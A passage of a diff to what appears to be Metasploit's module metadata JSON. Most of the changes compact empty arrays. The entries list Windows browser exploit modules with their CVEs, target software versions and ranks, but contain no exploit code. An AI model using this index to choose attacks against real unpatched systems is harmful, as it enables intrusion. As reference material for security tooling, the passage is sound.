"exploit/windows/browser/adobe_flash_worker_byte_array_uaf", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2015-02-02", "type": "exploit", @@ -141137,12 +126088,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -141153,17 +126100,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_flashplayer_arrayindexing": { "name": "Adobe Flash Player AVM Verification Logic Array Indexing Code Execution", "fullname": "exploit/windows/browser/adobe_flashplayer_arrayindexing", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2012-06-21", "type": "exploit", @@ -141184,12 +126128,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -141200,17 +126140,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_flashplayer_avm": { "name": "Adobe Flash Player AVM Bytecode Verification Vulnerability", "fullname": "exploit/windows/browser/adobe_flashplayer_avm", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-03-15", "type": "exploit", @@ -141230,12 +126167,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -141246,17 +126179,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_flashplayer_flash10o": { "name": "Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability", "fullname": "exploit/windows/browser/adobe_flashplayer_flash10o", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-04-11", "type": "exploit", @@ -141277,12 +126207,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -141298,17 +126224,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_flashplayer_newfunction": { "name": "Adobe Flash Player \"newfunction\" Invalid Pointer Use", "fullname": "exploit/windows/browser/adobe_flashplayer_newfunction", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-06-04", "type": "exploit", @@ -141327,12 +126250,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -141343,17 +126262,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_flatedecode_predictor02": { "name": "Adobe FlateDecode Stream Predictor 02 Integer Overflow", "fullname": "exploit/windows/browser/adobe_flatedecode_predictor02", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-10-08", "type": "exploit", @@ -141367,39 +126283,32 @@ "CVE-2009-3459", "BID-36600", "OSVDB-58729", - "URL-http://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html", + "URL-http://web.archive.org/web/20201207001443/https://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html/", "URL-http://www.adobe.com/support/security/bulletins/apsb09-15.html" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader Windows Universal (JS Heap Spray)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb", "is_install_path": true, "ref_name": "windows/browser/adobe_flatedecode_predictor02", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_geticon": { "name": "Adobe Collab.getIcon() Buffer Overflow", "fullname": "exploit/windows/browser/adobe_geticon", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-03-24", "type": "exploit", @@ -141418,12 +126327,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader Universal (JS Heap Spray)" ], @@ -141434,17 +126339,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_jbig2decode": { "name": "Adobe JBIG2Decode Heap Corruption", "fullname": "exploit/windows/browser/adobe_jbig2decode", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-02-19", "type": "exploit", @@ -141464,12 +126366,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader v9.0.0 (Windows XP SP3 English)", "Adobe Reader v8.1.2 (Windows XP SP2 English)" @@ -141481,17 +126379,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_media_newplayer": { "name": "Adobe Doc.media.newPlayer Use After Free Vulnerability", "fullname": "exploit/windows/browser/adobe_media_newplayer", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-12-14", "type": "exploit", @@ -141512,12 +126407,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader Windows English (JS Heap Spray)", "Adobe Reader Windows German (JS Heap Spray)" @@ -141529,17 +126420,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_shockwave_rcsl_corruption": { "name": "Adobe Shockwave rcsL Memory Corruption", "fullname": "exploit/windows/browser/adobe_shockwave_rcsl_corruption", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-10-21", "type": "exploit", @@ -141555,12 +126443,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -141571,17 +126455,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_toolbutton": { "name": "Adobe Reader ToolButton Use After Free", "fullname": "exploit/windows/browser/adobe_toolbutton", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-08-08", "type": "exploit", @@ -141602,12 +126483,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP / IE / Adobe Reader 10/11" ], @@ -141618,17 +126495,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_utilprintf": { "name": "Adobe util.printf() Buffer Overflow", "fullname": "exploit/windows/browser/adobe_utilprintf", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-02-08", "type": "exploit", @@ -141644,12 +126518,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader v8.1.2 (Windows XP SP3 English)" ], @@ -141660,17 +126530,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/advantech_webaccess_dvs_getcolor": { "name": "Advantech WebAccess dvs.ocx GetColor Buffer Overflow", "fullname": "exploit/windows/browser/advantech_webaccess_dvs_getcolor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-07-17", "type": "exploit", @@ -141687,12 +126554,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -141703,17 +126566,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/aim_goaway": { "name": "AOL Instant Messenger goaway Overflow", "fullname": "exploit/windows/browser/aim_goaway", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2004-08-09", "type": "exploit", @@ -141731,12 +126591,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows NT/2000/XP/2003 Automatic" ], @@ -141747,17 +126603,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/aladdin_choosefilepath_bof": { "name": "Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow", "fullname": "exploit/windows/browser/aladdin_choosefilepath_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-04-01", "type": "exploit", @@ -141776,12 +126629,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP with IE 6", @@ -141796,17 +126645,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/amaya_bdo": { "name": "Amaya Browser v11.0 'bdo' Tag Overflow", "fullname": "exploit/windows/browser/amaya_bdo", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-01-28", "type": "exploit", @@ -141823,12 +126669,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Amaya Browser v11" ], @@ -141839,17 +126681,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/aol_ampx_convertfile": { "name": "AOL Radio AmpX ActiveX Control ConvertFile() Buffer Overflow", "fullname": "exploit/windows/browser/aol_ampx_convertfile", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-05-19", "type": "exploit", @@ -141866,12 +126705,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0" ], @@ -141882,17 +126717,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/aol_icq_downloadagent": { "name": "America Online ICQ ActiveX Control Arbitrary File Download and Execute", "fullname": "exploit/windows/browser/aol_icq_downloadagent", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2006-11-06", "type": "exploit", @@ -141909,12 +126741,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -141925,17 +126753,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/apple_itunes_playlist": { "name": "Apple ITunes 4.7 Playlist Buffer Overflow", "fullname": "exploit/windows/browser/apple_itunes_playlist", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2005-01-11", "type": "exploit", @@ -141951,12 +126776,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro English SP4", "Windows XP Pro English SP2" @@ -141968,17 +126789,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/apple_quicktime_marshaled_punk": { "name": "Apple QuickTime 7.6.7 _Marshaled_pUnk Code Execution", "fullname": "exploit/windows/browser/apple_quicktime_marshaled_punk", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-08-30", "type": "exploit", @@ -141995,12 +126813,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Apple QuickTime Player 7.6.6 and 7.6.7 on Windows XP SP3" ], @@ -142011,17 +126825,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/apple_quicktime_mime_type": { "name": "Apple QuickTime 7.7.2 MIME Type Buffer Overflow", "fullname": "exploit/windows/browser/apple_quicktime_mime_type", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-11-07", "type": "exploit", @@ -142040,12 +126851,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP SP3 / Safari 5.1.7 / Apple QuickTime Player 7.7.2", @@ -142058,17 +126865,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/apple_quicktime_rdrf": { "name": "Apple Quicktime 7 Invalid Atom Length Buffer Overflow", "fullname": "exploit/windows/browser/apple_quicktime_rdrf", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-05-22", "type": "exploit", @@ -142089,12 +126893,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Quicktime 7.7.3 with IE 8 on Windows XP SP3", "Quicktime 7.7.2 with IE 8 on Windows XP SP3", @@ -142108,17 +126908,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/apple_quicktime_rtsp": { "name": "Apple QuickTime 7.1.3 RTSP URI Buffer Overflow", "fullname": "exploit/windows/browser/apple_quicktime_rtsp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-01-01", "type": "exploit", @@ -142135,12 +126932,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Apple QuickTime Player 7.1.3", @@ -142153,17 +126946,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/apple_quicktime_smil_debug": { "name": "Apple QuickTime 7.6.6 Invalid SMIL URI Buffer Overflow", "fullname": "exploit/windows/browser/apple_quicktime_smil_debug", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-08-12", "type": "exploit", @@ -142182,12 +126972,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Apple QuickTime Player 7.6.6" ], @@ -142198,17 +126984,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/apple_quicktime_texml_font_table": { "name": "Apple QuickTime 7.7.2 TeXML Style Element font-table Field Stack Buffer Overflow", "fullname": "exploit/windows/browser/apple_quicktime_texml_font_table", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-11-07", "type": "exploit", @@ -142226,12 +127009,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -142245,17 +127024,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ask_shortformat": { "name": "Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/ask_shortformat", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-09-24", "type": "exploit", @@ -142270,12 +127046,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0/SP1 Pro English", "Windows 2000 Pro English ALL" @@ -142287,17 +127059,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/asus_net4switch_ipswcom": { "name": "ASUS Net4Switch ipswcom.dll ActiveX Stack Buffer Overflow", "fullname": "exploit/windows/browser/asus_net4switch_ipswcom", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-02-17", "type": "exploit", @@ -142314,12 +127083,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -142332,17 +127097,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/athocgov_completeinstallation": { "name": "AtHocGov IWSAlerts ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/athocgov_completeinstallation", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-02-15", "type": "exploit", @@ -142356,12 +127118,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -142372,17 +127130,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/autodesk_idrop": { "name": "Autodesk IDrop ActiveX Control Heap Memory Corruption", "fullname": "exploit/windows/browser/autodesk_idrop", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-04-02", "type": "exploit", @@ -142400,12 +127155,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0" ], @@ -142416,17 +127167,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/aventail_epi_activex": { "name": "SonicWALL Aventail epi.dll AuthCredential Format String", "fullname": "exploit/windows/browser/aventail_epi_activex", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-08-19", "type": "exploit", @@ -142442,12 +127190,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "epi.dll v10.0.4.18 on Windows XP SP3" ], @@ -142458,17 +127202,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/awingsoft_web3d_bof": { "name": "AwingSoft Winds3D Player SceneURL Buffer Overflow", "fullname": "exploit/windows/browser/awingsoft_web3d_bof", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2009-07-10", "type": "exploit", @@ -142487,12 +127228,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0" ], @@ -142503,17 +127240,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/awingsoft_winds3d_sceneurl": { "name": "AwingSoft Winds3D Player 3.5 SceneURL Download and Execute", "fullname": "exploit/windows/browser/awingsoft_winds3d_sceneurl", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-11-14", "type": "exploit", @@ -142528,12 +127262,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -142544,17 +127274,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/baofeng_storm_onbeforevideodownload": { "name": "BaoFeng Storm mps.dll ActiveX OnBeforeVideoDownload Buffer Overflow", "fullname": "exploit/windows/browser/baofeng_storm_onbeforevideodownload", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-04-30", "type": "exploit", @@ -142571,12 +127298,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -142587,17 +127310,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/barcode_ax49": { "name": "RKD Software BarCodeAx.dll v4.9 ActiveX Remote Stack Buffer Overflow", "fullname": "exploit/windows/browser/barcode_ax49", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-06-22", "type": "exploit", @@ -142615,12 +127335,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0 English" ], @@ -142631,17 +127347,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/blackice_downloadimagefileurl": { "name": "Black Ice Cover Page ActiveX Control Arbitrary File Download", "fullname": "exploit/windows/browser/blackice_downloadimagefileurl", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2008-06-05", "type": "exploit", @@ -142660,12 +127373,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -142676,17 +127385,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/c6_messenger_downloaderactivex": { "name": "Icona SpA C6 Messenger DownloaderActiveX Control Arbitrary File Download and Execute", "fullname": "exploit/windows/browser/c6_messenger_downloaderactivex", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2008-06-03", "type": "exploit", @@ -142703,12 +127409,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -142719,17 +127421,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ca_brightstor_addcolumn": { "name": "CA BrightStor ARCserve Backup AddColumn() ActiveX Buffer Overflow", "fullname": "exploit/windows/browser/ca_brightstor_addcolumn", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-03-16", "type": "exploit", @@ -142744,12 +127443,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2-SP3 IE 6.0/7.0" ], @@ -142760,17 +127455,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/chilkat_crypt_writefile": { "name": "Chilkat Crypt ActiveX WriteFile Unsafe Method", "fullname": "exploit/windows/browser/chilkat_crypt_writefile", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2008-11-03", "type": "exploit", @@ -142788,12 +127480,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -142804,17 +127492,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/chrome_filereader_uaf": { "name": "Chrome 72.0.3626.119 FileReader UaF exploit for Windows 7 x86", "fullname": "exploit/windows/browser/chrome_filereader_uaf", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2019-03-21", "type": "exploit", @@ -142834,12 +127519,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -142850,17 +127531,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/cisco_anyconnect_exec": { "name": "Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute", "fullname": "exploit/windows/browser/cisco_anyconnect_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-06-01", "type": "exploit", @@ -142877,12 +127555,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -142893,17 +127567,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/cisco_playerpt_setsource": { "name": "Cisco Linksys PlayerPT ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/cisco_playerpt_setsource", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-03-22", "type": "exploit", @@ -142920,12 +127591,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -142939,17 +127606,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/cisco_playerpt_setsource_surl": { "name": "Cisco Linksys PlayerPT ActiveX Control SetSource sURL Argument Buffer Overflow", "fullname": "exploit/windows/browser/cisco_playerpt_setsource_surl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-07-17", "type": "exploit", @@ -142967,12 +127631,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -142989,17 +127649,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/cisco_webex_ext": { "name": "Cisco WebEx Chrome Extension RCE (CVE-2017-3823)", "fullname": "exploit/windows/browser/cisco_webex_ext", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2017-01-21", "type": "exploit", @@ -143014,12 +127671,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Cisco WebEx Extension 1.0.1" ], @@ -143030,17 +127683,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/citrix_gateway_actx": { "name": "Citrix Gateway ActiveX Control Stack Based Buffer Overflow Vulnerability", "fullname": "exploit/windows/browser/citrix_gateway_actx", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-07-14", "type": "exploit", @@ -143058,12 +127708,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -143077,17 +127723,14 @@ "check": false, "post_auth": false, "default_credential": false, - 